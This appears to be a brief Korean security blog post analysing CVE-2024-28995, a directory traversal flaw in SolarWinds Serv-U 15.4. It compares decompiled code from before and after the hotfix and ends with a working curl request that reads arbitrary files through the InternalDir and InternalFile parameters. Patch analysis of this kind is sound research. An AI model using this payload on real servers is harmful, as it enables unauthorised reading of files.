[하루한줄] CVE-2024-28995: SolarWinds사 제품들의 Directory Traversal 취약점으로 인한 Information Leak

URL

Target

  • Serv-U FTP Server 15.4
  • Serv-U Gateway 15.4
  • Serv-U MFT Server 15.4

Explain

취약점이 존재하는 버전인 15.4.2.126 과 핫픽스 버전인 15.4.2.157Serv-U.dll을 확인해보면 다음과 같이 코드에 체크하는 로직 하나가 추가된 것을 확인할 수 있습니다.

else
{
  CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '\' character
  if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) // CString::Find
    CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
  else
    ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
}

먼저 경로를 받으면 /\로 바꾸고 \\..\\가 존재하는 지 여부를 확인합니다. 이를 통해 Path Traversal 취약점이 존재했고 /를 사용해야 한다는 것을 추측해볼 수 있습니다.

패치된 함수들이 사용되는 곳들을 확인해보면 아래와 같은 코드를 확인할 수 있습니다.

get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");
get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");
v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);

InternalDir과 InternalFile 파라미터를 사용할 때 해당 함수를 사용하는 것을 확인할 수 있습니다.

지금까지 확인한 내용을 토대로 아래와 같이 페이로드를 구성하면 임의의 파일을 읽어올 수 있습니다.

curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt